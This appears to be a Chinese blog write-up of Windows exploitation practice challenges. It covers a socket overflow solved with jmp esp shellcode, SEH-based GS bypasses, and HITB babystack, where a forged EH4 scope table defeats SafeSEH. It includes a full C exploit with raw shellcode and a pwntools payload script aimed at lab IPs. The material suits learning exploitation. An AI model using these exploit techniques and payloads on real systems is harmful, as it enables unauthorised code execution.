题目的来源是
微软杯Exploit Me安全调试技术挑战赛 赛题
题目下载链接
https://bbs.pediy.com/thread-133191.htm
辞旧迎新exploit me挑战赛
题目下载链接
https://bbs.pediy.com/thread-57317.htm
其实题目都没有什么好说的==
都是一些很老的题目=== 纯粹的是当作萌新练手用=
先看一下 辞旧迎新的 A题=
打开发现是 关于 socket 的通信内容
然后 再往下看发现了一个危险函数
首先大家注意我们接受可以是512字节的空间 那么 参数传进去的时候发现了
发现了直接的copy 竟然也没有判断一下 大小空间的问题==
然后可以直接 jmp esp shellcode 一把梭
至于jmp esp 我是在 kernel32.dll 里面找到的=
下面的 exp
#include "stdafx.h"
#include "stdio.h"
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
#include "winsock2.h"
#include <cstdlib>
#pragma comment (lib,"ws2_32.lib")
unsigned char shellcode[] =
"\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"\
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"\
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"\
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"\
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x61\x20\x20\x20\x68\x70\x69\x78\x69\x68\x79\x20\x70\x69\x68\x65\x64\x20\x62\x68\x68\x61\x63\x6b\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00";
int _tmain(int argc, _TCHAR* argv[])
{
/*
for (int i = 0; i < strlen((char *)shellcode); i++)
{
printf("%x ", shellcode[i]);
}*/
WSADATA ws;
sockaddr_in serveraddr;
char buffer[500];
SOCKET m_SockClient = INVALID_SOCKET;
WSAStartup(MAKEWORD(2, 2), &ws);
serveraddr.sin_family=AF_INET;
serveraddr.sin_addr.S_un.S_addr = inet_addr("192.168.159.139");
serveraddr.sin_port = htons(7777);
m_SockClient=socket(AF_INET, SOCK_STREAM, 0);
if (connect(m_SockClient, (sockaddr*)&serveraddr, sizeof(serveraddr)) !=0)
{
printf("[*]连接失败!!\n");
}
else
{
memset(buffer, 41, 500);
memcpy(buffer + 200, "\x13\x44\x87\x7c",4);
memcpy(buffer + 204, shellcode, 189);
send(m_SockClient, buffer, strlen(buffer) + sizeof(char), 0);
closesocket(m_SockClient);
WSACleanup();
printf("[*]发送成功!!\n");
}
system("pause");
return 0;
}
用od 调试一下 发现了
成功执行到了shellcode 然后弹出了窗口
然后接下来的题目有空就回去继续更新。。。
微软杯第四题
打开题目
大致可以看到这么多的东西
可以看到有一个危险函数已经标注起来了
然后可以看出是有一个异常处理
这里可以根据异常处理 来绕过GS
这里可以根据0days 的那本书 来找到答案
那么我们来看一下 我们的情况
我们先去找一下我们说所的那个 call [ebp+n]
这里的插件已经下载好了 我们呢来看一下
这里我们找到了 call [ebp+0x30]
然后我们这里到达了异常点
然后这里已经用了shellcode 然后我们跟进去看一下
这里的 栈看一下
那么问题来了 这里的 12ff44 是在哪
我们看一下
哦吼 !!!!!
那么根据大佬们的exp 这个题目的思路就很清晰了
首先把se 的hander 给修改成 我们的 跳板 然后把上面的值搞成一个短跳转
然后再跳到长跳转的地方 然后去执行shellcode
然后 1.txt 的内容 详情可以看
看雪的大佬文章
https://bbs.pediy.com/thread-134903.htm
很棒=
HITB GSEC BABYSTACK
这就是一道CTF的题目了 ==
参考了EX大佬的博客写了这篇文章 ==
其中还有EX大佬写的一个 东西 可以用来pwntools交互的
https://github.com/Ex-Origin/win_server
里面用到的东西 就是 CreatePipe 然后利用的是 进程的管道通信 然后开启了三个线程 分别就是 读写 结束
对此感兴趣的同学 可以去看看ex 大佬写的博客 还有代码
然后我们先看这个题目
然后 发现是有异常处理的
溢出点就在 v9这里
但是我们看汇编会发现 有gs保护 这个程序 还有safeseh 有点难顶
不过给了后门函数
这里可以看到 这样的代码
.text:0040137C mov ecx, [ebp+var_CC]
.text:00401382 add ecx, [ebp+var_D0]
.text:00401388 cmp ecx, 3
个人猜测 应该就是 这个条件完全不成立 导致了 ida 直接给优化掉了 ====
不过这里确实是一个后门函数
可以看到一开始就注册了异常函数 这个异常函数 栈溢出就可以直接触发
ok 后门函数有了 栈溢出的地方也找到了 绕过 GS 出发 SHE的方法也有了 接下来就是怎么硬刚这个safeshe了
处理SHE的vcruntime140.dll 里面拖入ida里面可以看出很多东西
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3
if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}
int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));
// sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;
// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);
if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}
会发现了两个好玩的地方 就是 调用 FilterFunc 调用 HandlerFunc 这两个函数
其实这里我们有了一个方法 就是 伪造 Scope Table 然后 伪造这两个函数 就ok
注意一点就是 注意GS的恢复 上面还有GS的认证
伪造表 成功
成功拿到权限
Scope Table
+-------------------+
| GSCookieOffset |
+-------------------+
| GSCookieXorOffset |
+-------------------+
EH4 Stack | EHCookieOffset |
+-------------------+ +-------------------+
High | ...... | | EHCookieXorOffset |
+-------------------+ +-------------------+
ebp | ebp | +-----------> EncloseingLevel <--+-> 0xFFFFFFFE
+-------------------+ | Level 0 +-------------------+ |
ebp - 04h | TryLevel +---+ | FilterFunc | |
+-------------------+ | +-------------------+ |
ebp - 08h | Scope Table | | | HandlerFunc | |
+-------------------+ | +-------------------+ |
ebp - 0Ch | ExceptionHandler | +-----------> EncloseingLevel +--+-> 0x00000000
+-------------------+ Level 1 +-------------------+
ebp - 10h | Next | | FilterFunc |
+-------------------+ +-------------------+
ebp - 14h | ExceptionPointers +----+ | HandlerFunc |
+-------------------+ | +-------------------+
ebp - 18h | esp | |
+-------------------+ | ExceptionPointers
Low | ...... | | +-------------------+
+-------------------+ +----------> ExceptionRecord |
+-------------------+
| ContextRecord |
+-------------------+
exp 就直接用EX师傅的吧=== 思路get到了
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
context.arch = 'i386'
sh = remote('10.0.0.37', 8080)
def get_value(addr):
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(addr))
sh.recvuntil('value is ')
return int(sh.recvline(), 16)
sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))
security_cookie = get_value(main_address + 12116)
log.success('security_cookie: ' + hex(security_cookie))
pause()
sh.sendline('n')
next_addr = stack_addr + 212
log.success('next_addr: ' + hex(next_addr))
SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 733,
]
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)
pause()
sh.recvline()
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
然后suctf 有一道和上面类似的题目 也叫babystack ==
其实方法和上面的基本一样 =
依然有后门函数 还有 任意读取的功能
里面可以看到一点
可以通过div 然后可以 有异常 进入 任意读取的那个地方
然后 所有的思路 就和我们上面的一样了
参考资料
http://blog.eonew.cn/archives/1182